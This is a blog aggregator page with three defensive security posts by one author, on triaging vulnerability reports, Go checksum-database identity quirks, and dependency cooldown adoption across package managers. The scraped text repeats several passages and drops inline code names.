GreatReads - Blog Aggregator · Phoenix Framework

0 views

ENOSUCHBLOG 3 months ago

Brocards for vulnerability triage

I spend some of my hobby time doing vulnerability triage on open source projects. As part of that, I see (and filter through) a lot of nonsense 1 . Nonsense is not unique to vulnerability triage: lawyers deal with it too. To cope with it in the legal world, they use brocards — concise aphorisms that capture the essence of a legal principle. Any given brocard is not universally true 2 , but provides a standard by which a claim can quickly be evaluated for legitimacy. Vulnerability triage has its own brocards, but I couldn’t find a comprehensive list of them anywhere. This is my attempt to compile such a list. Alex Gaynor explains this one well in Motion to Dismiss for Failure to State a Vulnerability : a vulnerability report can be safely dismissed if it lacks a threat model, or if the threat model presented is incoherent. Examples include: A report for a Python API that raises an exception in some undocumented or surprising cases 3 , but doesn’t explain how an attacker could exploit that behavior to cause harm. A report for a hang or stall in a local developer tool. Hangs are undesirable behavior, but the opportunity for harm from one is negligible in a developer tooling context: the developer can always just kill the process. Closely related are vulnerability reports that describe a severe end state, but only under attacker capability assumptions that are more powerful than the vulnerability itself . In effect, in order to mount an attack that exploits the vulnerability, the attacker would already need to have an equal or more powerful capability than the vulnerability itself provides. Examples include: A report for content manipulation on a web service, where the manipulation can only occur if the attacker is an active meddler in the middle . No vulnerability exists here, because an active MiTM could send entirely arbitrary content, and would not have to limit themselves to manipulating pre-existing content. A report for code execution via memory corruption in CPython, where the memory corruption occurs by directly manipulating CPython’s object internals at runtime (via ctypes, for example). No vulnerability exists here, because the attacker is already running arbitrary code to perform the corruption. Raymond Chen has 2006 post that covers the same concept . Thanks to Geoffrey Thomas for sharing that with me! A vulnerability report can be safely dismissed if it describes a behavior that could occur, but does not in fact occur in actual usage of the software. Examples include: A report for a vulnerability in a private API within a library, where the only (private) usage of that API is not vulnerable. For example, a C codebase might have a function that takes a and exhibits a buffer overflow with strings longer than 100 bytes, but a codebase where all calls to that function are statically assertable to not exceed that size is not vulnerable. Similarly, a report for a vulnerability in an API (public or private), where the vulnerability can only occur by violating an invariant that the programmer is responsible for maintaining. For example, an API might have a precondition that an input string is valid UTF-8, and an input that violates this precondition may cause an uncontrolled program abort. However, a fuzzer that discovers this behavior has not found a vulnerability, because in a real program the programmer is responsible for ensuring that the “building blocks” of the API are composed together. It’s worth noting some nuance here: because the programmer is responsible for maintaining the invariant, there is a potentially legitimate vulnerability when usage of the API violates the invariant. By analogy: is not considered vulnerable to a double free, but a program that calls on an already freed pointer is considered vulnerable to a double free. A re-report of a upstream’s vulnerability, where the upstream’s’s vulnerable behavior is not reachable in the downstream. For example, CPython is shipped with a build of OpenSSL, and OpenSSL regularly has security advisories . However, CPython’s exposure to OpenSSL is mostly limited to SSL/TLS and a subset of the X.509 APIs, and therefore vulnerabilities outside of these surfaces do not constitute a reasonable re-report to CPython. Perhaps my most controversial (and personal) brocard: a vulnerability report can be safely dismissed if the behavior described is a direct consequence of the software’s correct adherence to a standard or specification. In these instances the vulnerability (if one exists) is present within the standard itself, and not the implementation. Examples include: Behavior stemming from “robustness” requirements in standards. Many RFCs and similar standards inadvisably follow the (poorly named) robustness principle , and allow interactions that are not well-defined (often by allowing the implementer to make a judgement call about the intended semantics of the interaction). For example, RFC 7230 has this under “Message Parsing Robustness” (ss. 3.5): In the interest of robustness, a server that is expecting to receive and parse a request-line SHOULD ignore at least one empty line (CRLF) received prior to the request-line. Although the line terminator for the start-line and header fields is the sequence CRLF, a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR. Behavior stemming from cryptographic requirements that are insecure in isolation but secure by construction. The “classic” example of this is (typically automated) reports of MD5 usage, where that usage is solely in constructions where MD5 is not actually broken (i.e. HMAC-MD5). There’s a strong argument to be made that a better hash function should be used where permitted, but the presence of MD5 in an HMAC construction is not itself a vulnerability. The nuance with this is that an implementation that chooses to be more strict than the standard requires should be considered vulnerable if the intended strictness is violated. (Many thanks to Hugo van Kemenade for this one!) Similar to the above: a vulnerability report can be safely dismissed if the behavior is documented to occur, particularly when the documentation explicitly describes the security implications of the behavior or specific contexts in which the software is unsafe to use. Examples include: Python’s is explicitly documented as not suitable for production use, as it only implements basic security checks . Python’s is explicitly documented as not secure, full stop. Like with the previous brocard, the nuance here is that a downstream usage that violates the documented guidelines for use may be considered vulnerable. In other words: a report against itself (for e.g. enabling code execution) may be safely dismissed, but a report against a downstream usage of that ignores the documented warnings may be considered valid. The maintainer should reject (or contest) vulnerability reports whose consequences are worse than the consequences of the vulnerability itself. The classic example of this is ReDoS “vulnerabilities,” particularly in contexts where the impact of the “denial of service” is negligible 4 . These reports typically involve nontrivial amounts of maintainer time and effort to triage, followed by nontrivial amounts of downstream time and effort to remediate, effectively resulting in a denial of service on the community itself. CVE-2026-4539 is a recent case of this: an anonymous reporter filed a CVE against pygments with VulDB , seemingly bypassing any maintainer or community review. This report was not accompanied by a fixed version (because it’s junk, and ignores pygments’ own security policy ), but lit up tens of thousands of downstream dependencies with a “medium” severity vulnerability, causing significant disruption . The status quo in 2026 is that the CVE ecosystem unreasonably places the onus on maintainers to contest this kind of spam when adversarial reporters bypass them entirely. The presence of a vulnerability report (and a CVE or other identifier for that report) is neither necessary nor sufficient for a vulnerability to exist. This cuts both ways: many (perhaps the majority of) vulnerabilities are never “formally” reported, and many formal reports do not actually describe meaningful vulnerabilities (per above). Consequently, no unvalidated assumption should ever be made about the relationship between the presence of a report and the presence of a vulnerability. This is another unfortunate status quo, one that stems from (seemingly intentional) strategic ambiguity in the vulnerability reporting ecosystem: partners like MITRE benefit simultaneously from being perceived as a high-quality source of vulnerability information, while also being able to disclaim any responsibility for communicating anything other than a stable identifier for a claim of vulnerability. Spam, “beg bounty” submissions, and increasingly zero-effort LLM submissions. ↩ Brocards are also not themselves law. ↩ Vulnerability reports for libraries/components that raise exceptions in managed libraries are very common, and often belie a fundamental misunderstanding of the language’s execution contract. In Python, for example, the presumed execution contract is that an exception can occur at any point, and that a system should always be prepared to handle an exception. This doesn’t mean that every single block of code needs a , but that all exceptions do get handled eventually, and therefore vulnerabilities only emerge when an exception is mishandled . ↩ Two common reasons for the negligibility of ReDoS: (1) the only impact is to local workflows where the “denial” is trivially cancellable (such as a developer tool running in a terminal), and (2) the vulnerable behavior is only exhibited on arbitrary inputs that would otherwise pose a denial of service “risk”. ↩ A report for a Python API that raises an exception in some undocumented or surprising cases 3 , but doesn’t explain how an attacker could exploit that behavior to cause harm. A report for a hang or stall in a local developer tool. Hangs are undesirable behavior, but the opportunity for harm from one is negligible in a developer tooling context: the developer can always just kill the process. A report for content manipulation on a web service, where the manipulation can only occur if the attacker is an active meddler in the middle . No vulnerability exists here, because an active MiTM could send entirely arbitrary content, and would not have to limit themselves to manipulating pre-existing content. A report for code execution via memory corruption in CPython, where the memory corruption occurs by directly manipulating CPython’s object internals at runtime (via ctypes, for example). No vulnerability exists here, because the attacker is already running arbitrary code to perform the corruption. A report for a vulnerability in a private API within a library, where the only (private) usage of that API is not vulnerable. For example, a C codebase might have a function that takes a and exhibits a buffer overflow with strings longer than 100 bytes, but a codebase where all calls to that function are statically assertable to not exceed that size is not vulnerable. Similarly, a report for a vulnerability in an API (public or private), where the vulnerability can only occur by violating an invariant that the programmer is responsible for maintaining. For example, an API might have a precondition that an input string is valid UTF-8, and an input that violates this precondition may cause an uncontrolled program abort. However, a fuzzer that discovers this behavior has not found a vulnerability, because in a real program the programmer is responsible for ensuring that the “building blocks” of the API are composed together. It’s worth noting some nuance here: because the programmer is responsible for maintaining the invariant, there is a potentially legitimate vulnerability when usage of the API violates the invariant. By analogy: is not considered vulnerable to a double free, but a program that calls on an already freed pointer is considered vulnerable to a double free. A re-report of a upstream’s vulnerability, where the upstream’s’s vulnerable behavior is not reachable in the downstream. For example, CPython is shipped with a build of OpenSSL, and OpenSSL regularly has security advisories . However, CPython’s exposure to OpenSSL is mostly limited to SSL/TLS and a subset of the X.509 APIs, and therefore vulnerabilities outside of these surfaces do not constitute a reasonable re-report to CPython. Behavior stemming from “robustness” requirements in standards. Many RFCs and similar standards inadvisably follow the (poorly named) robustness principle , and allow interactions that are not well-defined (often by allowing the implementer to make a judgement call about the intended semantics of the interaction). For example, RFC 7230 has this under “Message Parsing Robustness” (ss. 3.5): In the interest of robustness, a server that is expecting to receive and parse a request-line SHOULD ignore at least one empty line (CRLF) received prior to the request-line. Although the line terminator for the start-line and header fields is the sequence CRLF, a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR. Behavior stemming from cryptographic requirements that are insecure in isolation but secure by construction. The “classic” example of this is (typically automated) reports of MD5 usage, where that usage is solely in constructions where MD5 is not actually broken (i.e. HMAC-MD5). There’s a strong argument to be made that a better hash function should be used where permitted, but the presence of MD5 in an HMAC construction is not itself a vulnerability. Python’s is explicitly documented as not suitable for production use, as it only implements basic security checks . Python’s is explicitly documented as not secure, full stop. Spam, “beg bounty” submissions, and increasingly zero-effort LLM submissions. ↩ Brocards are also not themselves law. ↩ Vulnerability reports for libraries/components that raise exceptions in managed libraries are very common, and often belie a fundamental misunderstanding of the language’s execution contract. In Python, for example, the presumed execution contract is that an exception can occur at any point, and that a system should always be prepared to handle an exception. This doesn’t mean that every single block of code needs a , but that all exceptions do get handled eventually, and therefore vulnerabilities only emerge when an exception is mishandled . ↩ Two common reasons for the negligibility of ReDoS: (1) the only impact is to local workflows where the “denial” is trivially cancellable (such as a developer tool running in a terminal), and (2) the vulnerable behavior is only exhibited on arbitrary inputs that would otherwise pose a denial of service “risk”. ↩

0 views

ENOSUCHBLOG 6 months ago

Some flexibility with Go’s sumdb

I noticed this a year or two ago, but forgot to write it up back then. I don’t think it’s particularly serious or important, but it’s an interesting demonstration of how flexibility in identity can make monitoring in transparency schemes nontrivial, as well as conflict with user intuitions around which identities are equivalent. TL;DR : Go’s sumdb log entries are unique per module version, but there are typically multiple valid case forms for the module path that point to the same module version contents . These forms are not confusable at import time, but they complicate the monitoring story and could form the basis of a typosquatting-like attack. Because the “typo” is just a case variation, it looks less suspicious than a normal typo. Go’s packaging design includes the Go module proxy , which is effectively a caching proxy for Go modules. This serves (at least) two main purposes: It makes Go packaging more reliable and resilient: will continue to work even if goes down, so long as someone has previously resolved that module and version through the proxy. This also has the knock-on effect of making Go’s module resolution fast. It provides a degree of integrity against unreliable, malicious, or compromised 1 upstreams: the proxy’s copy of the module is can’t be mutated post facto by the origin, meaning that downstreams that haven’t previously locked their resolution still receive a version that’s consistent. This second property is really useful, but still requires a degree of trust: if the proxy itself were compromised, it could serve malicious modules to not-yet-locked downstreams. This would be easy for an attacker to do in a precise manner (i.e. target specific victims) as well as difficult to detect, since independent downstrams have no easy way of gossiping amongst themselves about the proxy’s claimed responses. In most ecosystems, the situation above (where the index is de jure immutable, but not easily verifiably so) is the norm. However, Go went a step further and introduced the Go checksum database , or “sumdb.” Go’s sumdb is a transparency log: an immutable, append-only datastructure that yields cryptographic proofs of inclusion for data entered into it. Russ Cox has a nice explainer on Merkle Trees and transparency log design ; it’s also the same basic technology behind Certificate Transparency and Sigstore , albeit with different properties in each case 2 . With this database, Go’s module proxy becomes verifiably monitorable and auditable : the proxy is responsible for obtaining a log entry prior to serving a new module version, and clients can efficiently verify that the entry: In effect, this forces our would-be attacker into the open: they’re still able to upload whatever malicious code they please 3 , but they must commit to doing so in a globally visible manner. Transparency itself is a useful technique for the game-theoretic reason mentioned above: many attackers want to operate surreptitously and without public evidence, and transparency logs prevent that. However, the mere presence of a transparency log does not foreclose on all possible risks: the log itself needs to be monitored (and audited 4 ). For example, maintainers want to know if an unexpected release occurs (indicating compromise) or if a release’s contents vary unexpectedly (indicating host/proxy tampering). Similarly, downstreams may wish to monitor their dependencies for unexpected activity. The transparency log operator controls submission to the log, and Go’s sumdb is no exception. This allows the operator to decide what goes into the log: Every module version exists exactly once in the log. In other words: should have at most exactly one log entry. Uniqueness 5 is not a native property of Merkle tree-based logs; it’s checked by log auditors. Only the Go proxy itself can submit entries to the log. External users can induce log entry creation by requesting module versions from the proxy, but the proxy is responsible for constructing and submitting the entry in accordance with the log’s policies. So, where does that leave us? Recall that a module version is a pair of (module path, version). Per , the module path is the substring of a filesystem path in the context of the download cache. However, in the context of the proxy protocol, it’s a URL 6 . In both of these contexts, Go correctly observes that case-sensitivity can’t be assumed: and must be treated as distinct module paths, even if a given filesystem or HTTP server treats them as equivalent. To keep them distinct, Go uses a very small escaping scheme in potentially-insensitive contexts: every uppercase letter is replaced with its lowercase equivalent, prefixed by an exclamation mark ( ). This is unambiguous because Go otherwise forbids in module paths. Using the example above, the module path becomes in the proxy protocol and, by extension, in the sumdb. The consequence of this is that there are often multiple valid URL forms that point to the same module version contents. That, in turn, means that there are multiple valid log entries that correspond to the same module version contents…almost. For example, here’s and pulled from the API: Observe that the two have different log entry numbers ( vs ), despite pointing to the same logical module contents. However, they also have different content hashes (the first ), but not different hashes. This is because the content hash includes the module path as part of its input, while the hash is the hash of the file itself, as it appears in the logical module contents. Moreover, we can induce a third log entry by requesting the module version from the proxy using yet another URL form, such as : This last one took a few seconds to respond 7 , unlike the other two. As the new log entry number close to the signed tree head indicates, it was created on demand (since I was the first to request it). To tie things together: This has a few interesting consequences: In practice, monitoring a module via the sumdb is not as trivial as monitoring a single representation: the monitor needs to be aware of all valid case forms, which in turn depends on the host. GitHub for example has case-insensitive paths, but other hosts may not. The simplest thing to do is probably to match on any case-folded variant of the module path being monitored, but that may yield false positives if the host is case-sensitive. The main (public) Go module monitor that I’m aware of is GopherWatch , which intentionally only does case-sensitive comparisons . This is probably a reasonable default for the average user (who is likely monitoring modules on GitHub or GitLab), but it does mean that a malicious case-sensitive host can evade detection. and really are distinct modules from Go’s perspective, even though humans have been trained to treat them as the same (thanks to common web URL practices). An attacker could in principle take advantage of this to do something similar to typosquatting , where an innocent-looking rename of to results in completely different module contents. Or in other words: ask yourself if this diff would attract your scrutiny in an otherwise unobjectionable change: What makes this (potentially) more pernicious than “normal” typosquatting is that it looks unobjectionable in a way that normal typosquatting (like ) wouldn’t. As evidenced by the log lookups earlier, it’s already common enough for people to use different case forms (e.g. and both already having lower entries). In practice, what holds this back is that the attacker would either need to control the host (to ensure that different cases route differently) or find an existing host that does that. GitHub and GitLab both appear to guarantee case-insensitivity, but there may be others that don’t. For a module path containing non-domain characters in , there are 2 N possible case variants. This doesn’t pose a problem for matching within the monitor (we can just compare case-insensitively), but it does pose fatigue and resource risks: Using as an example, there are 2 14 = 16,384 possible case variants. An attacker who wants to obscure their activity against that module could spam the proxy with requests for those variants, causing alert fatigue (or dropped alerts due to volume) for the monitor. Similarly, the attacker can force the creation of 2 14 distinct log entries for the same module version, bloating the log and wasting the proxy and log’s compute and network resources. Anybody can already do this by submitting junk modules to the proxy, but this is partcularly bad because it makes amplification relatively easy: the attacker doesn’t have to create any additional modules, and can even use pre-existing innocent module versions. Of these, I think (2) is probably the most interesting: (1) is something that monitors can fix by comparing module paths case-insensitively, and (3) is just a griefing vector. The first half of (3) is also probably mitigable by deduplicating on the ’s content hash, since the attacker can’t vary that just by varying the module path’s case. Does this matter from a security perspective? I think no, at least not much. The typosquatting-style attack is interesting, but assumes things about the module host that aren’t typically true. Specifically, it assumes a case-sensitive module host where the attacker can in fact register/emplace modules with different case forms. That’s probably uncommon in practice, and any host that’s observed to do this intentionally would probably be worth excluding from the Go module proxy altogether. At the most, it’s a quirk and a reminder of how subtle “identity” can be in a transparency scheme with additional uniqueness properties. Packaging ecosystems that aim to adopt transparency logs in a manner similar to Go’s sumdb will almost certainly run into similar issues. It’s also a great demonstration of how good and thoughtful Go’s packaging design is: the system as a whole lacks ambiguity except where introduced by external interactions (host filesystems, URL paths), and those ambiguities are carefully constrained down to managable levels. p.s. Thanks to Filippo Valsorda for sanity-checking some of my conclusions here, since I am by no means a Go expert. This happens for both innocent and malicious reasons, usually because Git tags are mutable and can be overwritten with a force-push. ↩ The semantics of including some data in a transparency log are governed by a claimant model , as well as how clients are expected to interact with that log. For example, interactions with CT logs are generally expected to be “total” in the sense that a leaf certificate that chains up to a public CA should always be logged, and the absence of an entry is a notable signal. In contrast, a packaging ecosystem that adopts Sigstore generally can’t (and shouldn’t) compel every single package to be signed and logged, so the absence of an entry is not necessarily notable absent other context. ↩ This being how open source packaging works by design. ↩ The difference between a monitor and an auditor is subtle: a monitor observes the log for specific behaviors (e.g. new entries matching some set of claims), while an auditor verifies the integrity/correctness of the log itself (e.g. ensuring the log is actually consistent and append-only). ↩ While writing this, I tried to find an resource that actually documents this property as guaranteed, but I couldn’t! However, it’s implied by the sumdb’s lookup API, which can only return a single entry per module version. It’s also mentioned indirectly in this blog post on raphting.dev and in Martin Hutchinson’s tool. The uniqueness check is also visible in the TestServer in x/mod/sumdb . After discussion with Filippo, I understand why this isn’t ever described as “guaranteed”: uniqueness is a property that’s enforced by auditors, the log cannot itself guarantee it. ↩ The is implied. ↩ Unlike Certificate Transpareny, Go’s sumdb inclusion is synchronous: the proxy blocks until the log entry is actually fully included, instead of yielding a promise to include it later. I suspect the proxy is additionally fully fetching the module itself for hashing, which adds more synchronous delay. ↩ In the sense that the path component of a URL is case sensitive, but that it’s up to the handling HTTP server/host to determine how it handles case sensitivity. ↩ It makes Go packaging more reliable and resilient: will continue to work even if goes down, so long as someone has previously resolved that module and version through the proxy. This also has the knock-on effect of making Go’s module resolution fast. It provides a degree of integrity against unreliable, malicious, or compromised 1 upstreams: the proxy’s copy of the module is can’t be mutated post facto by the origin, meaning that downstreams that haven’t previously locked their resolution still receive a version that’s consistent. Exists in the log (i.e., the entry is not serving content that it hasn’t committed to). Matches the claimed module content (i.e., the entry is not a valid but unrelated log entry). Every module version exists exactly once in the log. In other words: should have at most exactly one log entry. Uniqueness 5 is not a native property of Merkle tree-based logs; it’s checked by log auditors. Only the Go proxy itself can submit entries to the log. External users can induce log entry creation by requesting module versions from the proxy, but the proxy is responsible for constructing and submitting the entry in accordance with the log’s policies. Go sumdb log entries are unique per module version; Go module paths (within the module version) are case-sensitive; Module paths are URLs and the path component of URLs is case-indeterminate 8 , meaning that multiple case forms may point to the same module version contents; (1)-(3) mean that the Go proxy can be induced into creating multiple distinct log entries that point to the same module version contents, albeit with different content hashes. In practice, monitoring a module via the sumdb is not as trivial as monitoring a single representation: the monitor needs to be aware of all valid case forms, which in turn depends on the host. GitHub for example has case-insensitive paths, but other hosts may not. The simplest thing to do is probably to match on any case-folded variant of the module path being monitored, but that may yield false positives if the host is case-sensitive. The main (public) Go module monitor that I’m aware of is GopherWatch , which intentionally only does case-sensitive comparisons . This is probably a reasonable default for the average user (who is likely monitoring modules on GitHub or GitLab), but it does mean that a malicious case-sensitive host can evade detection. and really are distinct modules from Go’s perspective, even though humans have been trained to treat them as the same (thanks to common web URL practices). An attacker could in principle take advantage of this to do something similar to typosquatting , where an innocent-looking rename of to results in completely different module contents. Or in other words: ask yourself if this diff would attract your scrutiny in an otherwise unobjectionable change: What makes this (potentially) more pernicious than “normal” typosquatting is that it looks unobjectionable in a way that normal typosquatting (like ) wouldn’t. As evidenced by the log lookups earlier, it’s already common enough for people to use different case forms (e.g. and both already having lower entries). In practice, what holds this back is that the attacker would either need to control the host (to ensure that different cases route differently) or find an existing host that does that. GitHub and GitLab both appear to guarantee case-insensitivity, but there may be others that don’t. For a module path containing non-domain characters in , there are 2 N possible case variants. This doesn’t pose a problem for matching within the monitor (we can just compare case-insensitively), but it does pose fatigue and resource risks: Using as an example, there are 2 14 = 16,384 possible case variants. An attacker who wants to obscure their activity against that module could spam the proxy with requests for those variants, causing alert fatigue (or dropped alerts due to volume) for the monitor. Similarly, the attacker can force the creation of 2 14 distinct log entries for the same module version, bloating the log and wasting the proxy and log’s compute and network resources. Anybody can already do this by submitting junk modules to the proxy, but this is partcularly bad because it makes amplification relatively easy: the attacker doesn’t have to create any additional modules, and can even use pre-existing innocent module versions. This happens for both innocent and malicious reasons, usually because Git tags are mutable and can be overwritten with a force-push. ↩ The semantics of including some data in a transparency log are governed by a claimant model , as well as how clients are expected to interact with that log. For example, interactions with CT logs are generally expected to be “total” in the sense that a leaf certificate that chains up to a public CA should always be logged, and the absence of an entry is a notable signal. In contrast, a packaging ecosystem that adopts Sigstore generally can’t (and shouldn’t) compel every single package to be signed and logged, so the absence of an entry is not necessarily notable absent other context. ↩ This being how open source packaging works by design. ↩ The difference between a monitor and an auditor is subtle: a monitor observes the log for specific behaviors (e.g. new entries matching some set of claims), while an auditor verifies the integrity/correctness of the log itself (e.g. ensuring the log is actually consistent and append-only). ↩ While writing this, I tried to find an resource that actually documents this property as guaranteed, but I couldn’t! However, it’s implied by the sumdb’s lookup API, which can only return a single entry per module version. It’s also mentioned indirectly in this blog post on raphting.dev and in Martin Hutchinson’s tool. The uniqueness check is also visible in the TestServer in x/mod/sumdb . After discussion with Filippo, I understand why this isn’t ever described as “guaranteed”: uniqueness is a property that’s enforced by auditors, the log cannot itself guarantee it. ↩ The is implied. ↩ Unlike Certificate Transpareny, Go’s sumdb inclusion is synchronous: the proxy blocks until the log entry is actually fully included, instead of yielding a promise to include it later. I suspect the proxy is additionally fully fetching the module itself for hashing, which adds more synchronous delay. ↩ In the sense that the path component of a URL is case sensitive, but that it’s up to the handling HTTP server/host to determine how it handles case sensitivity. ↩

0 views

ENOSUCHBLOG 7 months ago

Dependency cooldowns, redux

Three weeks ago I wrote about how we should all be using dependency cooldowns . This got a lot of attention, which is great! So I figured I owe you, dear reader, an update with (1) some answers to common questions I’ve received, and (2) some updated on movements in large open source ecosystems since the post’s publication. Question : Aren’t cooldowns a self-defeating policy? In other words: if everyone uses cooldowns wouldn’t we be in the exact same situation, just shifted back by the cooldown period? Answer : I think there are two parts to this: The observation in the original post is that there are parties other than downstreams in the open source ecosystem, namely secuity partners (vendors) and index maintainers themselves. These parties have strong incentives to proactively monitor, report, and remove malicious packages from the ecosystem. Most importantly, these incentives are timely, even when user installations are not. Even with a universal exhortation to use cooldowns, I think universal adoption is clearly not realistic: there are always going to be people who live at the edge. If those people want to be the proverbial canaries in the coal mine, that’s their prerogative! Or in other words, we certainly all should be using cooldowns, but clearly that’s never going to happen. Question : What about security updates? Wouldn’t cooldowns delay important security patches? Answer : I guess so, but you shouldn’t do that! Cooldowns are a policy , and all policies have escape hatches. The original post itself notes an important escape hatch that already exists in how cooldowns are implemented in tools like Dependabot: cooldowns don’t apply to security updates. In other words: ecosystems that are considering implementing cooldowns directly in their packaging tools should make sure that users can encode exceptions 1 as necessary. Question : Doesn’t this incentivize attackers to abuse the vulnerability disclosure process? In other words, what stops an attacker from reporting their own malicious release as a vulnerability fix in order to bypass cooldowns? Answer : Nothing, in principle: this certainly does make vulnerability disclosures themselves an attractive mechanism for bypassing cooldowns. However, in practice, I think an attacker’s ability to do this is limited by (at least) three factors: Creating a public vulnerability disclosure on a project (e.g. via GitHub Security Advisories ) generally requires a higher degree of privilege/comprehensive takeover than simply publishing a malicious version. Specifically: most of the malicious publishing activity we’ve seen thus far involves a compromised long-lived publishing credential (e.g. an npm or PyPI API token), rather than full account takeover. We might seek that kind of full ATO in the future, but it’s a significantly higher bar (particularly in the presence of in-session MFA challenges on GitHub). The name of the game continues to be maximizing the window of opportunity, which is often shorter than a single day. At this timescale, hours are significant. But fortunately 2 for us, propagating a public vulnerability disclosure takes a nontrivial amount of time: CVEs take a nontrivial amount of time to assign 3 , and ecosystem-level propagation of vulnerability information (e.g. into RUSTSEC or PYSEC) typically happens on the timeframe of hours (via scheduled batch jobs). Consequently, abusing the vulnerability disclosure process to bypass cooldowns requires the attacker to shorten their window of opportunity, which isn’t in their interest. That doesn’t mean they won’t do it (especially as the update loop between advisories and ecosystem vulnerability databases gets shorter), but it does stand to reason that it disincentivizes this kind of abuse to some degree. Stealth. Creating a public vulnerability disclosure is essentially a giant flashing neon sign to security-interested parties to look extremely closely at a given release. More specifically, it’s a signal to those parties that they should diff the new release against the old (putatively vulnerable) one, to look for the vulnerable code. This is the exact opposite of what the attacker wants: they’re trying to sneak malicious code into the new release, and are trying to avoid drawing attention to it. Question : What about opportunistic abuse of the vulnerability disclosure process? For example, if is vulnerable and is a legitimate security update, what stops the attacker from publishing with malicious code immediately after ? Answer : This is a great example of why cooldown policies (and their bypasses) struggle to be universal without human oversight. Specifically, it demonstrates why bypasses should probably be minimal by default : if both and claim to address a vulnerability and both require bypassing the cooldown, then selecting the lower version is probably the more correct choice in an automatic dependency updating context. This is a somewhat free-form section for ecosystem changes I’ve noticed since the original post. If there are others I’ve missed, please let me know! uv has added support for dependency cooldowns via relative values. Recently released versions of uv already include this feature. For example, a user can do to exclude any dependency updates published within the last seven days. Documentation: uv - dependency cooldowns . References: astral-sh/uv#16814 pip is adding an absolute point-in-time feature via . This is currently slated to be released with pip 26, i.e. early next year. In addition to the “absolute” cooldown feature above, pip is also considering adding a relative cooldown feature similar to uv’s. This is being tracked in pypa/pip#13674 . References: pypa/pip#13625 , pypa/pip#13674 pnpm has had cooldowns since September with v10.16 , with ! They even have a cooldown exclusion feature. yarn added cooldown support one month after pnpm, via npm does not have cooldown support yet. There appear to be several discussions about it, some of which date back years. npm/rfcs#646 and npm/cli#8570 appear to have most of the context. npm/cli#8802 is also open adding an implementation of the above RFC. pinact has added a flag to support cooldowns for GitHub Actions dependencies. Renovate and Dependabot already do a decent job of providing cooldowns for GitHub Actions updates, including support for hash-pinning and updating the associated version comment. Security updates are the most obvious exception, but it also seems reasonable to me to allow people to encode exceptions for data-only dependencies, first-party dependencies, trusted dependencies, and so forth. It’s clearly a non-trivial and non-generalizable problem! ↩ For some definition of “fortunate”: clearly we want TTLs for vulnerability disclosures to be as short as possible in normal, non-malicious circumstances! ↩ Unlike GHSAs, which are typically assigned instantly. For better or worse however, CVE IDs continue to be the “reference” identifier for ecosystem-level vulnerability information propagation. ↩ The observation in the original post is that there are parties other than downstreams in the open source ecosystem, namely secuity partners (vendors) and index maintainers themselves. These parties have strong incentives to proactively monitor, report, and remove malicious packages from the ecosystem. Most importantly, these incentives are timely, even when user installations are not. Even with a universal exhortation to use cooldowns, I think universal adoption is clearly not realistic: there are always going to be people who live at the edge. If those people want to be the proverbial canaries in the coal mine, that’s their prerogative! Or in other words, we certainly all should be using cooldowns, but clearly that’s never going to happen. Creating a public vulnerability disclosure on a project (e.g. via GitHub Security Advisories ) generally requires a higher degree of privilege/comprehensive takeover than simply publishing a malicious version. Specifically: most of the malicious publishing activity we’ve seen thus far involves a compromised long-lived publishing credential (e.g. an npm or PyPI API token), rather than full account takeover. We might seek that kind of full ATO in the future, but it’s a significantly higher bar (particularly in the presence of in-session MFA challenges on GitHub). The name of the game continues to be maximizing the window of opportunity, which is often shorter than a single day. At this timescale, hours are significant. But fortunately 2 for us, propagating a public vulnerability disclosure takes a nontrivial amount of time: CVEs take a nontrivial amount of time to assign 3 , and ecosystem-level propagation of vulnerability information (e.g. into RUSTSEC or PYSEC) typically happens on the timeframe of hours (via scheduled batch jobs). Consequently, abusing the vulnerability disclosure process to bypass cooldowns requires the attacker to shorten their window of opportunity, which isn’t in their interest. That doesn’t mean they won’t do it (especially as the update loop between advisories and ecosystem vulnerability databases gets shorter), but it does stand to reason that it disincentivizes this kind of abuse to some degree. Stealth. Creating a public vulnerability disclosure is essentially a giant flashing neon sign to security-interested parties to look extremely closely at a given release. More specifically, it’s a signal to those parties that they should diff the new release against the old (putatively vulnerable) one, to look for the vulnerable code. This is the exact opposite of what the attacker wants: they’re trying to sneak malicious code into the new release, and are trying to avoid drawing attention to it. uv has added support for dependency cooldowns via relative values. Recently released versions of uv already include this feature. For example, a user can do to exclude any dependency updates published within the last seven days. Documentation: uv - dependency cooldowns . References: astral-sh/uv#16814 pip is adding an absolute point-in-time feature via . This is currently slated to be released with pip 26, i.e. early next year. In addition to the “absolute” cooldown feature above, pip is also considering adding a relative cooldown feature similar to uv’s. This is being tracked in pypa/pip#13674 . References: pypa/pip#13625 , pypa/pip#13674 cargo is discussing a design for cooldowns in rust-lang/cargo#15973 . This discussion predates my blog post, but appears to have been reinvigorated by it. There’s been some discussion in the Bundler community Slack about adding cooldowns directly to the gem.coop index, e.g. providing index “views” like for index-level cooldowns. I think this is a very cool approach! The NuGet community is discussing a cooldown design in NuGet/Home#14657 . pnpm has had cooldowns since September with v10.16 , with ! They even have a cooldown exclusion feature. yarn added cooldown support one month after pnpm, via npm does not have cooldown support yet. There appear to be several discussions about it, some of which date back years. npm/rfcs#646 and npm/cli#8570 appear to have most of the context. npm/cli#8802 is also open adding an implementation of the above RFC. Go is discussing the feasibility/applicability of cooldowns in golang/go#76485 . pinact has added a flag to support cooldowns for GitHub Actions dependencies. Renovate and Dependabot already do a decent job of providing cooldowns for GitHub Actions updates, including support for hash-pinning and updating the associated version comment. Security updates are the most obvious exception, but it also seems reasonable to me to allow people to encode exceptions for data-only dependencies, first-party dependencies, trusted dependencies, and so forth. It’s clearly a non-trivial and non-generalizable problem! ↩ For some definition of “fortunate”: clearly we want TTLs for vulnerability disclosures to be as short as possible in normal, non-malicious circumstances! ↩ Unlike GHSAs, which are typically assigned instantly. For better or worse however, CVE IDs continue to be the “reference” identifier for ecosystem-level vulnerability information propagation. ↩

Rust

1 views

ENOSUCHBLOG 9 months ago

Dear GitHub: no YAML anchors, please

